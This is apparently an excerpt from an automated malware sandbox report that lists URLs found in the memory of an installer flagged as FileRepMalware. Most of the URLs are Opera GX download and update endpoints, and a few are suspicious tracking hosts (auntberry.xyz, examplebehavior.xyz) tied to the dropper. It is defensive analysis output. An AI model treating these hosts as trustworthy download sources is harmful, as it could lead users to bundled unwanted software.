      Source: setup.exe, 0000000A.00000003.1525826014.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1515431684.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.config.opr.gg/q
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://api.config.opr.gg/v0/config
      Source: setup.exe, 0000000A.00000003.1515431684.00000000011F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.config.opr.gg/v0/config?utm_campaign=PWN_US_PB3_DD_3661&utm_medium=pa&utm_source=PWNgame
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://api.config.opr.gg/v0/configeditionutm_campaign=%s&utm_medium=%s&utm_source=%s&product=%s&cha
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://appleid.apple.com
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008DC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://auntberry.xyz/
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1314903796.0000000002610000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1323125421.0000000003490000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://auntberry.xyz/pe/start/index.php?a=2910&p=4134&t=50784292
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://auntberry.xyz/pe/start/index.php?a=2910&p=4134&t=50784292IDv
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.00000000008DC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://auntberry.xyz/ro
      Source: installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.00000000032D5000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000857000.00000002.00000001.01000000.00000015.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/.opera.comOpera
      Source: setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/api/prefs/?product=Opera
      Source: setup.exe, 0000000A.00000003.3454638840.0000000004CBB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/api/prefs/?product=Opera%20GX&version=114.0.5282.93
      Source: setup.exe, 0000000A.00000003.3454638840.0000000004CBB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/api/prefs/?product=Opera%20GX&version=114.0.5282.93=
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/https://autoupdate.opera.com/me/OperaDesktopGXhttps://crashstats-co
      Source: setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/v5/netinstaller/gx/Stable/windows/x64
      Source: setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.geo.opera.com/v5/netinstaller/gx/Stable/windows/x64c
      Source: setup.exe, 0000000A.00000003.1508590817.000000000117D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://autoupdate.opera.com/
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://autoupdate.opera.com/me/
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://browser-notifications.opera.com/api/v1/
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://browser-notifications.opera.com/api/v1/333333
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://completion.amazon.com/search/complete?q=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://consent.youtube.com
      Source: installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://crashpad.chromium.org/
      Source: installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://crashpad.chromium.org/bug/new
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.00000000032D5000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000857000.00000002.00000001.01000000.00000015.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new
      Source: installer.exe, 00000018.00000002.3397139603.00001340000C0000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://crashstats-collector-2.opera.com/
      Source: setup.exe, 0000000E.00000002.3441014161.000000004CC14000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000E.00000002.3440009675.00000000012EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector-2.opera.com/--annotation=channel=Stable--annotation=plat=Win32--annotat
      Source: installer.exe, 00000018.00000003.3385248273.000013400002C000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000018.00000002.3387770010.0000022B7E58F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector-2.opera.com/--annotation=channel=Stable--annotation=plat=Win64--annotat
      Source: setup.exe, 0000000E.00000002.3442608086.000000004CCAC000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector-2.opera.com/L
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submit
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submit--annotation=channel=Stable--annotation=plat=
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submitD
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005390000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submitI
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.00000000032D5000.00000004.00000020.00020000.00000000.sdmp, assistant_installer.exe, 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmp, assistant_installer.exe, 00000015.00000000.2697138404.0000000000857000.00000002.00000001.01000000.00000015.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submitOperaDesktopGX
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submiter
      Source: assistant_installer.exe, 00000015.00000002.2699393729.0000000005399000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://crashstats-collector.opera.com/collector/submitll
      Source: Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/LocalLow
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/etSignedDataMsgDllFuncName
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/ptnetUrlCache
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/r-sub.osp.opera.software/
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/r-sub.osp.opera.software/7xSipVerifyIndirectData
      Source: setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1508590817.000000000117D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binary
      Source: setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binary/
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binary8
      Source: setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryS
      Source: setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryd
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binarye
      Source: setup.exe, 0000000A.00000002.3460882271.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454547122.00000000011AB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://desktop-netinstaller-sub.osp.opera.software/v1/binaryera.software
      Source: setup.exe, 0000000A.00000003.1525826014.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/
      Source: setup.exe, 0000000A.00000003.1526138308.0000000004CA5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780754414.0000000004CA6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/N
      Source: setup.exe, 0000000A.00000003.1526138308.0000000004CA5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780754414.0000000004CA6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/V
      Source: setup.exe, 0000000A.00000003.1508224241.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1508590817.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456123992.0000000053E26000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/download/get/?id=52318&autoupdate=1&ni=1
      Source: setup.exe, 0000000A.00000003.1508590817.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/download/get/?id=52318&autoupdate=1&ni=1m
      Source: setup.exe, 0000000A.00000003.1508224241.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460882271.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454547122.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456123992.0000000053E26000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://download.opera.com/download/get/?id=68148&autoupdate=1&ni=1&stream=stable&utm_campaign=PWN_U
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://download.opera.com/download/get/?partner=www&opsys=Windows&utm_source=netinstaller
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/.opera.com/download/get/?id=52318&autoupdate=1&ni=11
      Source: setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download3.operacdn.com/res/servicefiles/partner_content/std-2/1714144780-custom_partner_cont
      Source: setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download5.operacdn.com/
      Source: setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download5.operacdn.com/4y
      Source: setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download5.operacdn.com/PSLu
      Source: setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460220792.00000000011A7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download5.operacdn.com/ftp/pub/.assistant_gx/73.0.3856.382/Opera_GX_assistant_73.0.3856.382_
      Source: setup.exe, 0000000A.00000003.1526092722.00000000011DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://download5.operacdn.com/ftp/pub/opera_gx/114.0.5282.93/win/Opera_GX_114.0.5282.93_Autoupdate_
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/?q=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.ico
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://examplebehavior.xyz/endroipe?tid=5078
      Source: installer.exe, 00000017.00000003.3264059980.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://extension-updates.opera.com/api/omaha/update/
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://extension-updates.opera.com/api/omaha/update/apple_ke
      Source: setup.exe, 0000000A.00000003.1515714693.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/
      Source: setup.exe, 0000000A.00000003.1515714693.00000000011C2000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1525826014.00000000011C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/Q
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://features.opera-api2.com/api/v2/features?country=%s&language=%s&uuid=%s&product=%s&channel=%s
      Source: setup.exe, 0000000A.00000002.3460220792.0000000001162000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://features.opera-api2.com/api/v2/features?country=US&language=en-GB&uuid=4a730dd9-027f-4e80-b7
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://ff.search.yahoo.com/gossip?output=fxjson&command=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://gaana.com/
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://gamemaker.io
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://gamemaker.io)
